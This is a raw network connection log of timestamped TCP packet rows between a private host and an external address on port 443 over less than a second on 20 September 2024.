Sep 20, 2024 12:14:47.446930885 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.466744900 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.466789961 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.467195988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.467256069 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.467282057 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.467344999 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.467447042 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.467447042 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.467448950 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.467478037 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.467649937 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.467972994 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.468031883 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.468092918 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.468101978 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.468158960 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.469017982 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.469077110 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.469111919 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.469120026 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.469145060 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.469199896 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.469729900 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.469775915 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.469810009 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.469816923 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.469856024 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.469882965 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.474020958 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.474078894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.474208117 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.474208117 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.474217892 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.474416018 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.474870920 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.474915028 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.474946976 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.474955082 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.474980116 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.475018024 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.475827932 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.475872993 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.475913048 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.475920916 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.475950956 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.475980043 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.505774975 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.505820036 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.505888939 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.505959988 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.506000042 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.506033897 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.506257057 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.506282091 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.506356955 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.506371021 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.506438017 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.507111073 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.507133007 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.507210970 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.507222891 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.507289886 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.510854959 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.510894060 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.510942936 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.510953903 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.511295080 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.511296034 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.511614084 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.511641979 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.511701107 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.511734009 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.511775970 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.511806965 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.512979984 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.513003111 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.513073921 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.513087988 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.513144016 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.554043055 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.554076910 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.554502010 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.554572105 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.554589033 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.554651976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.554744959 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.554744959 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.554775000 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.554809093 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.554848909 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.554857969 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.554893017 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.554910898 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.554934025 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.554970026 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.555000067 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.554997921 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.555053949 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.555075884 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.555085897 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.555118084 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.555145979 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.555444002 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.555484056 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.555519104 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.555527925 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.555583954 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.555609941 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.561439991 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.561505079 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.561645031 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.561647892 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.561678886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.561727047 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.561762094 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.561893940 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.561923981 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.561944008 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.561979055 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.561990976 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.562050104 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.562056065 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.562105894 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.592555046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.592578888 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.592937946 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.593000889 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.593050957 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.593080044 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.593317986 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.593318939 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.593318939 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.593353987 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.593369007 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.593410015 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.593664885 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.593666077 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.593734026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.593766928 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.593791962 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.593869925 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.593888044 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.593919992 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.598233938 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.598256111 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.598340034 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.598355055 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.598510981 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.598553896 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.598867893 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.598867893 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.598881006 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.598900080 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.598913908 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.598970890 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.599009037 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.640832901 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.640902042 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.641022921 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.641078949 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.641247034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.641247034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.641256094 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.641293049 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.641330004 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.641448021 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.641448021 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.641470909 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.641491890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.641540051 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.641575098 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.641583920 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.641619921 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.641845942 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.641885042 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.641923904 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.641932964 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.641961098 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.647603035 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.647672892 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.647886992 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.647898912 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.647931099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.647934914 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.648020983 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.648514032 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.648561954 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.648597002 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.648612022 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.648634911 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.648678064 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.679163933 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.679204941 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.679466009 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.679527044 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.679558039 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.679590940 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.679867029 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.679867029 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.679930925 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.679989100 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.680006027 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.680007935 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.680042028 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.680078030 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.680110931 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.680315018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.680335999 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.680454016 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.680471897 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.680541992 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.680689096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.680711031 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.680787086 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.680799961 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.680860996 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.685018063 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.685075045 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.685142040 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.685203075 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.685291052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.685291052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.685429096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.685456038 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.685540915 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.685555935 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.685585976 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.685631037 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.685698032 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.685724020 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.685780048 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.685791016 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.685827017 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.685857058 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.727721930 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.727807045 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.727969885 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.728102922 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.728118896 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.728118896 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.728156090 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.728184938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.728343964 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.728456974 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.728456974 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.728492022 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.728528023 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.728620052 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.728620052 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.728620052 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.728725910 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.728768110 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.728944063 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.728952885 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.729013920 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.734443903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.734504938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.734570026 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.734599113 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.734673977 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.734725952 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.734752893 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.734752893 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.734767914 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.734782934 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.734822989 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.735177994 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.735228062 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.735264063 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.735270977 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.735296965 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.735328913 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.765888929 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.765928030 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.766087055 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.766161919 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.766258001 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.766302109 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.766359091 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.766380072 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.766408920 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.766700029 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.766766071 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.766922951 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.766946077 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.767057896 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.767076015 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.767199039 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.767246962 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.767290115 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.767303944 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.767333984 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.772377968 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.772408962 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.772463083 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.772479057 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.772547007 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.772567987 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.772623062 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.772628069 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.772660971 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.772840023 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.772855043 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.772932053 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.814616919 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.814686060 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.814884901 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.814934015 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.814992905 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.814992905 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.815023899 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.815182924 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.815232992 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.815273046 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.815434933 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.815434933 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.815452099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.815514088 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.815561056 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.815725088 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.815753937 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.815762997 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.815778971 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.815872908 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.815881968 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.815942049 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.821578979 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.821646929 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.821780920 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.821780920 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.821793079 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.821810961 CEST	443	58639	185.199.108.133	192.168.2.4
